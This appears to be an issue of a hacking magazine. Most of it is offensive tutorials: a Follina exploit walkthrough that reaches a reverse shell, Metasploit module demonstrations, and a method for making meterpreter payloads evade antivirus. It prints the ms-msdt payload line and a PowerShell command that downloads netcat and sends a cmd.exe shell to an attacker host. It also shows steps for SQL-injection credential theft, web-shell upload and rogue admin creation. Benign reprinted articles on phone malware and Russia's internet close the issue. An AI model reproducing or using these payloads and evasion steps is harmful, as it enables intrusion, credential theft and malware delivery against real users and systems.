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Then you will know the truth and the truth will set you free.
John 8:32

Editor's Note
Edition 5 Issue 5

I thought holidays to

school would help

speeding up my work.

But I was wrong.

No Editor's Note

"OUTLOOK IS NOT THE ONLYDELIVERYVEHICLE: SUCH FILE IS CHEERFULLY
DOWNLOADED BYALL MAJOR BROWSERS INCLUDING MICROSOFT EDGE BYSIMPLY
VISITING(!) A WEBSITE, AND IT ONLYTAKES A SINGLE CLICK (OR MIS-CLICK) IN THE

BROWSER'S DOWNLOADS LIST TO HAVE IT OPENED"
- MITJA KOLSEK, 0PATCH ON DOGWALK VULNERABILITY
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What is Follina?

Follina is a municipality that is located 60 kilometres northwest of Venice in Italy. Completely
unrelated, the vulnerability has been named Follina as the malicious file was referencing to an exe
-cutable that was named 0438. This is the area code of Follina, hence the zeroday has been named
Follina.

What is MSDT?

Follina exploits MSDT but what exactly is MSDT? Microsoft Support Diagnostic Tool (MSDT) is
a service used for gathering diagnostic data about the system. Now, let’s play with Follina. To und
-erstand how Follina works, you need to understand a few things about the Word document.
Although the MS Office Word document appears very simple to look at, it’s not that simple. To
demonstrate this, I will use a Word document that contains the raw drafts for one of the articles
readers have seen in our previous Issues, Spring4shell.docx.

Playing With Follina Zero-Day : from POC To Reverse Shell

REAL WORLD HACKING

Back in April 2022, a file was uploaded to the Virus Total website with theme
“invitation for an interview” targeting a user in Russia. When this file was reported
to Microsoft, they came to the conclusion that it wasn’t a security issue at all. Recently
at the end of the month ofMay 2022, nao_sec, a Japan based cybersecurity company
detected another malicious Word document uploaded to VirusTotal. They found that thi
-s file was exploiting a zeroday remote code execution vulnerability in Microsoft Office.
This zeroday vulnerability has been assigned the identifier CVE-2022-30190, has a
CVSS severity rating of 7.8 out of 10 and has been named by Microsoft as "Microsoft
Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability".
The file that was detected earlier in April 2022 was also exploiting the same vulnerabil
-ity. Several APT groups soon started (or maybe they were using it earlier too) using
this vulnerability to attack victims.



I close it and now open it with any archiving program. In this case, it is 7-zip.

This is how it looks.

"An attacker who successfully exploits this vulnerability can run arbitrary
code with the privileges of the calling application. The attacker can then

install programs, view, change, or delete data, or create new accounts in the
context allowed by the user’s rights."
- Microsoft on Follina vulnerability.



Click on the Word directory and inside it click on “rels” directory.

Now, right click on the document seen above and click on “Edit”. This is “document.xml.rels”



You get this.

Let me make it easy for viewers.

As you can see, there are many “Target” options. These are all the resources the Word document
needs that are shown in XML files. We have already seen where these resources are.

"We expect to see more Follina exploitation attempts to gain access to
corporate resources, including for ransomware attacks

and data breaches,""
- Kaspersky Lab on Follina



This Word file does not contain anything malicious. Now, Let’s download another Word file that
contains a POC for Follina vulnerability. The download information is given in our Downloads
section(1 ) .

As readers can see, these are the contents of CVE-2022-30190 directory we downloaded. Before I
execute the POC, let me explain some important things here. First, let’s open clickme1 .docx file
with 7-zip as shown above.



The vulnerability is named Follina since the file’s spotted sample
references 0438, the area code for Follina in Italy.



Let’s open the file document.xml.rels. The file has been edited for viewer simplicity. Now, careful
-ly observe all the Target options.

One of these is to open a HTML file present on the webserver running on localhost. The name of
this html file is “exploit-html”. I have not yet hosted this file on a webserver. It is in the same direc
-tory as our malicious doc file is.



Before hosting it on the web server, let’s see what this “exploit.html’ file contains.



After initial contents of any HTML file, the “exploit.html” contains a series of “A”
characters. It seems the exploit must contain at least 3541 characters before running command
window.location.href which is below the series of ‘A” characters. Otherwise, the exploit may not
work. Ok. But what does the window.location.href command do?

window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param
\"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed

IT_BrowseForFile=h$(Start-
Process('calc') ) i/. ./. ./. ./. ./. ./. ./. ./. ./. ./. ./. ./. ./. ./. ./Windows/SYstem32/mpsigstub.exe

IT_AutoTroubleshoot=ts_AUTO\"";

It is intended to use MSDT protocol to pop up a calculator. Ok. Now, it’s time to see if the exploit
does what it is meant to do? Since there are some problems reported while running the exploit
with a docx file, I open the clickme1 .docx file and save it as clickme1 .rtf clickme.rtf files.



Next, I start a local Wamp server and host the exploit.html file there.

Then I just click on clickme.rtf file or clickme1 .rtf file for that matter.

The Word document opens as shown below.

"We have identified a variety of actors incorporating the Follina vulnerability
within phishing campaigns,"

- Sherrod DeGrippo, Proofpoint's vice president.



And then pops a calculator as shown below.

This is all too beginner level. No user is going to launch a payload on his local machine and
trigger the exploit. The payload needs to be triggered from a remote location in any real-world
scenario. Let’s test this. So this time I host the same HTML payload on another machine (with IP
192.168.40.148) as shown below.

"Because this is a zero click exploit, there isn’t as much individual users
can do, however, a healthy dose of skepticism goes a long way. Users should

always be suspicious of attachments from untrusted sources.”



Then I edit the “document.xml.rels” of the malicious Word document to load the payload from
the remote IP.



I opened the docx file and save it as RTF file as docx file is not successfully exploiting the vulnera
bility. The exploit can not only be triggered by opening the document file. It can also be triggered
by just viewing the RTF file in Windows preview pane. This only works for RTF file.

On the Attacker system where the payload is hosted, we see this.

Meanwhile on the target side, the document opens and pops a calculator.

"If you spend more on coffee than on IT security, you will be hacked.
What’s more, you deserve to be hacked."

- Richard Clarke



This worked successfully. But what do we get while a calculator is popped on the target system.
But what about a reverse shell on the target system?

Gaining a reverse shell by exploiting Follina vulnerability is pretty simple. Let’s see how? For
demonstrating this, I will be using another tool. This script made by John Hammond is available
on Github can be downloaded as shown below. The download information is also given in our
Downloads section.



As I navigate into the cloned directory, I find a python script along with a netcat binary.

The follina.py script will generate a malicious doc file which when clicked upon will give us a
reverse shell on the target system. The script to be run is as shown below.

When I copy the maldoc and click it on the target system, I successfully get a reverse shell on the
target system as shown below.

"Time is what determines security. With enough time nothing is
unhackable."

-Aniekee Tochukwu Ezekiel



This is achieved because the exploit downloads the netcat binary we have seen earlier and copy it
to the c://Windows/Tasks Folder as shown below.

"No technology that’s connected to the Internet is unhackable.""

-Abhijit Naskar



Let’s have a look at the part of the code that does this. For this, I open follina.py file and scroll
down to the line where “command” variable is present.

Here is the complete code that it contains.

command = f"""Invoke-WebRequest https://github.com/JohnHammond/msdt-
follina/blob/main/nc64.exe?raw=true -OutFile C:\\Windows\\Tasks\\nc.exe;
C:\\Windows\\Tasks\\nc.exe -e cmd.exe {serve_host} {args.reverse}"""

Not just that, the exploit encodes this part of the code with base64 encoding so as to make it
difficult for analysis.



So this is how the above code looks in the exploit when encoded by Base64.

Why is Follina dangerous?

Hackers have been using Word Documents to gain initial access on computers since a long
time. That is the reason why Macros are disabled by default by Microsoft. Recently they have also
disabled VBA macros by default. But Follina just threw water on the efforts of Microsoft. Readers
have seen how simple Remote Code Execution can be achieved with Follina.

How to stay safe?

As of writing, Microsoft has not yet released a patch for Follina. However, it has suggested a
workaround until the patch is released. This workaround involves disabling the MSDT. This can
be done as shown below.

To enable MSDT again,

The END



Welcome to Metasploit This Month. Let us learn about the latest exploit modules of Metasploit
and how they fare in our tests.

PWNKIT Linux Privilege Escalation Module

TARGET: Red Hat 8, Fedora 21, Debian Testing ‘Bullseye” and Ubuntu 20.04
                                                                                      and more

TYPE: Local   MODULE : PE       ANTI-MALWARE : NA

A memory corruption vulnerability PWNKIT (CVE-2021 -4034) was discovered in the pkexec
command (which is installed by default on all major Linux distributions) . The vulnerability is pres-
ent in polkit since the original release of 2009. The PWNKIT vulnerability and its Real-World
exploitation has been explained in our January 2022 Issue.

This module exploits that PWNKIT vulnerability. We have tested this exploit module on
Debian 11 .2. To use this module we need to have a initial shell with LOW privileges on the targe-
t.

Let's see how this module works. Background the initial session and load the cve_2021_4034_pwn
kit_lpe_pkexec module.

PWNKIT LPE, Nagios Webshell Upload & Wordpress Modules

METASPLOIT THIS MONTH

"It is a fairly open secret that almost all systems can be hacked, somehow. It is
a less spoken of secret that such hacking has actually gone quite mainstream.

-Dan Kaminsky.





Set the Session ID and use check command to see if the target is indeed vulnerable.

The target is indeed vulnerable. Execute the module.

"One single vulnerability all an attacker needs."""

-Window Snyder.



As readers can see, we successfully have another meterpreter session on the target system but this
time with root privileges.

Nagios XI Scanner Module

TARGET: Nagios XI Applications TYPE: Remote
MODULE : Auxiliary       ANTI-MALWARE : NA

This module is not a new module but we have added this here as we have not discussed this
before in our Magazine and also it makes more sense to add it here. This auxiliary module detect
-s the version of Nagios XI installed on the target and suggests matching exploit modules based on
that version.

However, this module like almost all Nagios modules, requires credentials. We have tested this
exploit module on Nagios 5.8.4 installed on Ubuntu 20.04. Let's see how this module works. Load
the Nagios Scanner Module.



Set all the required options as shown below and execute the auxiliary module.

"There are more hackers breeding every day, and more brilliant minds are
turning into hackers. Security has advanced, but so have hackers.

-Michael Demon Calce""



As readers can see, the module rightly detected the target as running Nagios XI 5.8.4 and also
suggested an exploit for this version of Nagios. Let’ s test that exploit now.

Nagios XI Web Shell Upload Module

TARGET: Nagios XI < 5.8.5 TYPE: Remote
MODULE : Exploit       ANTI-MALWARE : NA

The above mentioned versions of Nagios XI have a path traversal vulnerability that allows a
remote attacker to upload a PHP web shell to the target and execute it to gain shell with privileges
of www-data.
How does this module achieve this? It first creates an autodiscovery job with an id field. This job
contains a path traversal to a writable and remotely accessible directory and custom_ports field
containing the web shell. Next, a cron file will be created using the chosen path and file name and
the web shell is embedded in the cron file.

Once the web shell has been written to the target system, this module will then use this web
shell to establish a Meterpreter session or a reverse shell based on our choice. After we have a
meterpreter session, the shell is deleted by the module and the autodiscovery job is removed as w-
ell. This module requires credentials.

We have tested this module on Nagios XI version 5.8.4 installed on Ubuntu 20.04. Let's see
how this module works. Load the nagios_xi_autodiscovery_webshell Module.

"The hacker mindset doesn’t actually see what happens on the other side, to
the victim.

-Kevin Mitnick.







Set all the required options as shown below and use check command to see if the target is indeed
vulnerable.

If you get any OpenSSL error as shown above, set SSL option to FALSE.

"Hacking involves a different way of looking at problems that no one’s
thought of.

-Walter O’Brien.



The target is indeed vulnerable. Execute the module.

"No Quote Here."



As readers can see, we successfully have a meterpreter session on the target with the privileges of
‘www-data’ user.

WP Plugin Modern Events Calendar SQL Injection Module

TARGET: WP Plugin Modern Events Calendar < 6.1.5
TYPE: Remote MODULE : Auxiliary       ANTI-MALWARE : NA

Modern Events Calendar is a Wordpress plugin that is used for managing events. The above
mentioned versions of the plugin have an unauthenticated SQL injection vulnerability in the ‘time’
parameter. This module exploits this SQL injection vulnerability and lists all the users and their
password hashes.

We have tested this module on Wordpress plugin Modern events Calendar version 6.1 .0. Let's
see how this module works. Load the wp_modern_events_calendar_sqli module.



Set all the required options as shown below and use check command to see if the target is indeed
vulnerable.



Set all the required options as shown below and use check command to see if the target is indeed
vulnerable.



The target is indeed vulnerable. Execute the module.

As readers can see, the module successfully revealed credentials of a user. By changing the
COUNT option, you can set how many user credentials this module reveals.

WP Plugin Secure Copy Content & CL SQL Injection Module

TARGET: WP Plugin Secure Copy & Content Locking < 2.8.2
TYPE: Remote MODULE : Auxiliary       ANTI-MALWARE : NA

Secure Copy & Content Locking Wordpress plugin is a plugin that protects site content from
being plagiarized. It has over 10,000+ active installations. The above mentioned versions of the
plugin have an unauthenticated SQL injection vulnerability in the ‘sccp_id’ parameter. This modu
-le exploits this SQL injection vulnerability and lists all the users and their password hashes.

We have tested this module on Wordpress plugin Secure Copy & Content Locking 2.8.1 . Let's
see how this module works. Load the wp_secure_copy_content_protection_sqli module.





Set all the required options as shown below and use check command to see if the target is indeed
vulnerable.

The target is indeed vulnerable. Execute the module.



As readers can see, the module successfully revealed credentials of a user.

WP Plugin MasterStudy PrivEsc Module

TARGET: WP Plugin MasterStudy < 2.7.5 TYPE: Remote
                                  MODULE : Auxiliary       ANTI-MALWARE : NA

Masterstudy Wordpress plugin is a LMS plugin widely used by educational websites. It has over
10,000+ active installations. The above mentioned versions of the plugin have an unauthenticated
privilege escalation vulnerability that allows creation of an administrator account on the target.

We have tested this module on Wordpress plugin MasterStudy LMS 2.7.5. Let's see how this
module works. Load the wp_masterstudy_privesc module.



Set all the required options as shown below and use check command to see if the target is indeed
vulnerable.

The target is indeed vulnerable. Execute the module.

As readers can see, the module successfully created a new administrator account on the target
Wordpress website.



Readers have learnt about multiple, latest methods used by Advanced Persistent Threats (APTs)
and BlackHat hackers to bypass Anti Malware. These methods involved creation of undetectable
non meterpreter payloads. For a long time now, some of our readers have been asking us to write
about methods to make the meterpreter payload undetectable.
Meterpreter is an attack payload of Metasploit whose versatility has been seen by readers in our

Magazine multiple times. It’s ease of use and features made it popular in hacking circles. There
are many reasons for its popularity. Some of them are,

1 . Meterpreter provides an interactive shell on the target right away.
2. Meterpreter gets deployed using in-memory DLL injection and nothing is written to disk.
3. Also no new processes are created while deploying thus making forensics difficult.

Well, as we always say popularity has its own downsides in ethical hacking. If it is popular with
hackers, it is also popular with Anti Malware Creators. Certainly all of the Anti Malware detects
meterpreter payloads.

In this Issue, readers will learn about one method to make meterpreter undetectable although
in a different way. This is working on almost all Anti Virus by the time of writing. This method of
bypassing antivirus uses Py2exe. This method only works on Windows. We are using Windows 10
as attacker machine and then we will use another Windows 10 with third party AntiVirus installed
as target.

We will need three software for this tutorial.
1 . Python
2. Py2exe
3. Antivirus-Evasion script.

First we need to install Python 2.7 on Windows. The download information is given in our
Downloads section.

Latest Working Script That is Making Payloads FUD.

BYPASSING ANTIVIRUS





After python is successfully installed, it’s time to install Py2exe. The download information of
Py2exe is given in our Downloads section. Py2exe is used to convert the python payload into
Windows executable.



Py2exe is a Python Distutils extension which converts Python scripts into
executable Windows programs, able to run without requiring a Python

installation.



"A hacker to me is someone creative who does wonderful things.""

-Tim Berners-Lee



Next, download Antivirus-Evasion-Py2exe tool from the link shown in Downloads section. As
already told, we will use this tool along with Py2exe to create an undetectable payload. After the
tool is downloaded, extract the contents of the zip archive. Navigate into the extracted directory
using Command line as shown below.



There is a python script named aepy2exe. Execute that script with the following options.

The script executes as shown below.

The script will create a python meterpreter reverse tcp payload in the "dist" folder.



The payload’s name is CyberY.exe.

Let’s set a listener on the Kali Linux as shown below.

The payload needs to be delivered to the target system. First, let’s test it on a popular third party
antivirus.

"Behind every successful Coder there an even more successful DeCoder to
understand that code."

-Anonymous



The AV did not even blink and we have a meterpreter session already. Let’s test it on another
Anti Virus.

"A hacker does for love what others would not do for money."
- Laura Creighton



This AV found our payload suspicious.

After a few meterpreter sessions opening and closing,

"A hacker is someone who uses a combination of high-tech cyber tools and
social engineering to gain illicit access to someone else’s data."

-John David McAfee



The payload got executed.

We have a meterpreter session again.



Can Your Mobile Phone Get A Virus? Yes - and you'll have to look
carefully to see the signs.

ONLINE SECURITY

Ritesh Chugh

Assistant Professor Of Information and

Communications Technology,

CQUniversity Australia

With nearly 84% of the world’s population now
owning a smartphone, and our dependence on
them growing all the time, these devices have be
-come an attractive avenue for scammers.

Last year, cyber security company Kaspersky
detected nearly 3.5 million malicious attacks on
mobile phone users. The spam messages we get
on our phones via text message or email will
often contain links to viruses, which are a type of
malicious software (malware) .

There’s a decent chance that at some point
you’ve installed malware that infected your pho-
ne and worked (without you noticing) in the bac
-kground. According to a global report commiss
-ioned by private company Zimperium, more
than one-fifth of mobile devices have encountere
-d malware. And four in ten mobiles worldwide
are vulnerable to cyber attacks.

But how do you know if your phone has been
targeted? And what can you do?

Like personal computers, phones can be compr-
omised by malware.

For example, the Hummingbad virus
infected ten million Android devices within a fe-
w months of its creation in 2016, and put as man
-y as 85 million devices at risk.

Typically, a phone virus works the same way
as a computer virus: a malicious code infects yo-
ur device, replicates itself and spreads to other
devices by auto-messaging others in your contact
list or auto-forwarding itself as an email.

A virus can limit your phone’s functionality,
send your personal information to hackers, send
your contacts spam messages linking to
malware, and even allow the virus’s operator to
“spy” on you by capturing your screen and
keyboard inputs, and tracking your geographical
location.
In Australia, Scamwatch received 16,000 reports

(Cont'd On Next Page)



-s of the Flubot virus over just eight weeks in
2021 . This virus sends text messages to Android
and iPhone users with links to malware. Clicking
on the links can lead to a malicious app being
downloaded on your phone, giving scammers
access to your personal information.
Flubot scammers regularly change their target

countries. According to cyber security firm
Bitdefender, FluBot operators targeted Australia,
Germany, Poland, Spain, Austria and other
European countries between December 1 2021
and January 2 of this year.

While Apple devices are generally considered
more secure than Android, and less prone to vir
-us attacks, iPhone users who “jailbreak” or mod
-ify their phone open themselves up to security
vulnerabilities.

Similarly, Android users who install apps
from outside the Google Play store increase their
risk of installing malware. It’s recommended all
phone users stay on guard,
as both Apple and
Android are vulnerable to
security risks.

That said, phones are
generally better protected
against viruses than person
-al computers. This is because
software is usually installed through authorised
app stores that vet each app (although some
malicious apps can occasionally slip through the
cracks) .

Also, in comparison to computers, phones
are more secure as the apps are usually “sandbo
-xed” in their own isolated environment – unabl-
e to access or interfere with other apps. This
reduces the risk of infection or cross
contamination from malware. However, no
device is entirely immune.

While it’s not always easy to tell whether your
phone is infected, it will exhibit some abnormal
behaviours if it is. Some signs to watch out for

include:
1 . poor performance, such as apps taking longer
than usual to open, or crashing randomly.
2. excessive battery drain (due to the malware
constantly working in the background).
3. increased mobile data consumption.
4. unexplained billing charges (which may
include increased data usage charges as a result
of the malware chewing up your data) .
5. unusual pop-ups and
6. the device overheating unexpectedly.

If you do suspect a virus has infected your
device, there are some steps you can take. First,
to prevent further damage you’ll need to remove
the malware. Here are some simple troubleshoot
-ing steps:
1 .Use a reliable antivirus app to scan your phon
e for infections. Some reputable vendors offering
paid and free protection services include Avast,
AVG, Bitdefender, McAfee or Norton.
2. Clear your phone’s storage and cache (in An
-droid devices) , or browsing history and website
data (in Apple devices) .

3. Restart your iPhone,
or restart your Android
phone to go into safe
mode – which is a feature
on Android that prevents
third-party apps from op-

erating for as long as it’s enabl-
ed.
4. Delete any suspicious or unfamiliar apps fro-
m your downloaded apps list and, if you’re an
Android user, turn safe mode off once the apps
are deleted.
5. As a last resort, you can back up all your dat-
a and perform a factory reset on your phone.
Resetting a phone to its original settings will elim
-inate any malware.

Now you’ve fixed your phone, it’s important to
safeguard it against future viruses and other secu
-rity risks. The mobile security apps mentioned

(Cont'd On Next Page)

"As a last resort, you can back up all
your data and perform a factory
reset on your phone. Resetting a
phone to its original settings will

eliminate any malware. "



above will help with this. But you can also:

1 . avoid clicking unusual pop-ups, or links in
unusual text messages, social media posts or
emails
2. only install apps from authorised app stores,
such as Google Play or Apple’s App Store
3. avoid jailbreaking or modifying your phone
4. check app permissions before installing, so
you’re aware of what the app will access (rather
than blindly trusting it)
5. back up your data regularly, and
6. keep your phone software updated to the late-

-st version (which will have the latest security
patches) .
7. Continually monitor your phone for suspiciou
-s activity and trust your gut instincts. If somethin
-g sounds too good to be true, it probably is.

This Article first

appeared in

The

      Conversation

Is Russia Really About To Cut Itself Off From The Internet? And What Can
We Expect If It does?

CYBER WAR

Mohiuddin Ahmed

Lecturer Of Computing & Security,

Edith Cowan University

Paul Haskell-Dowland

Professor Of Cybresecurity Practice,

Edith Cowan University

The invasion of Ukraine has triggered a significa
-nt digital shift for Russia. Sanctions imposed by
governments around the world – together with
company closures or mothballing – have signific
-antly impacted the country.

A plethora of events have escalated the
invasion into the digital world, with cyber attack
s, cyber criminals taking sides, and even an IT
army of civilians being mobilised by Ukraine.

The sanctions imposed on Russia have not
only directly hit its economy (and by extension
the global economy), but are now also threateni-
ng Russian citizens’ access to the internet.

It’s expected the nation will limit its reliance
on the global internet very soon. Although a co-
mplete disconnection isn’t yet confirmed, even a
partial disconnection would be a difficult task.
And the repercussions of Russia’s growing digita

-l isolation for its citizens will be immense.

More than 85% of Russians use the internet.
Since the Ukraine invasion began, people in Rus
-sia have found themselves increasingly deprived
of online services such as Facebook, Twitter and
even Netflix – with Russia either limiting access
to sites, or providers withdrawing services.

There’s no Facebook in Russia right now.
Major financial players have pulled out too, incl-
uding Apple Pay, Google Pay and most major
credit card providers, significantly impacting e-
commerce.

Russia itself has also introduced a digital
divide with the rest of the world, despite the fact
this may further cripple its economy. It is expect
-ed to start withdrawing from the global internet
by March 11 , according to Kremlin documents.

Russia has long-imposed control over state-
run media, but tolerated a level of free access to
content and services through the internet. While
such freedoms have been progressively
diminished, citizens have still been able to stay
connected to the wider web.

This open access is now being revoked.
(Cont'd On Next Page)



Russia will assert dominance over internet servic
-es and impose strict censorship on local media
organisations in an attempt to control informatio
-n and reinforce Kremlin propaganda.

As part of this plan, the Russian government
has directed businesses to move their web hostin
-g and business services to Russian servers.

While it may be assumed a “.ru” website is
located in Russia, this isn’t always the case. Larg
-e organisations will often host their services in
remote regions’ servers. This may be to gain acc
-ess to enhanced technologies, increase the resili-
ence of the service, or to benefit from reduced
service costs.

A good example would be a content delivery
network, where content
is hosted on multiple
servers around the world.
This ensures fast access
for users and resilience to
outages and malicious
attacks.

Relocating an
individual website to a new server is relatively
easy, but doing this on a national scale is a huge
logistical challenge. It’s unknown whether Russia
even has the capacity and capability to deliver
the required resources.

With mounting pressure from the West, Russia
may create its own version of the “great firewall
of China”. With this, the Chinese government
implemented a number of measures allowing it
to regulate and censor the domestic internet as it
sees fit.

Although the current demands from the
Kremlin relate to service availability – and migra
-ting websites and services to Russian territories
– this could be the first stage of a national discon
-nection from the global internet.

It’s worth noting, however, even if Russia
adopts a domestic internet, it will still need to

keep some bridges with the global internet to co-
mmunicate with other countries.

In 2019, Russia tested disconnecting the
country from the internet. There are few details
relating to how long this test ran.

The test was reportedly successful, but not
adopted. It could be the Kremlin stopped short
of a full disconnection due to Russia’s reliance
on global services, such as social media and
financial gateways.

With Russia now becoming increasingly
isolated from global networks, it’s potentially
easier to implement network changes that would
grant the Kremlin full control of Russia’s interne
-t.

Disconnecting from the global internet and
imposing censorship
will inevitably slow do-
wn democratic progres

-s in Russia. It will also im
-pact the country’s tech
nological development.
Russia is already facing

significant chip shortages and a loss of access to
advanced telecommunication technologies,
including deliveries from Ericsson and Nokia.

Even if Russia successfully creates its own
separate internet, this would be challenging for
citizens to accept.

Until recently, Russian citizens have enjoyed
the benefits of the global internet, and they will
likely be concerned at its disappearance. The so-
cial impact would be incredibly difficult to mana
-ge.

And while virtual private networks have
previously been used within Russia to maintain
anonymity, or access censored sources, a proper
-ly implemented set of controls could effectively
block the use of such techniques.

Given the amount of cyber crime regularly attrib
(Cont'd On Next Page)

"While isolating Russia will have an
initial impact, cyber-criminal gangs
and state-sponsored attacks will

quickly return as perpetrators find
ways to escape domestic controls. "



-uted to Russian sources, you might imagine Ru-
ssia’s withdrawal from the global internet would
make it a more secure space for everyone else.

While isolating Russia will have an initial
impact, cyber-criminal gangs and state-sponsore-
d attacks will quickly return as perpetrators find
ways to escape domestic controls.

In fact, state-sponsored attacks will likely
increase in the coming months as Russia seeks
retribution against the countries (and organisatio
ns) that imposed sanctions on Russia.

If cyber warfare reaches heightened levels,
other nations will have to focus more on their

defence capabilities to protect their infrastructur-
e. We could see the digital economy reshape its-
elf, as it tries to contend with increased Russian
threats.
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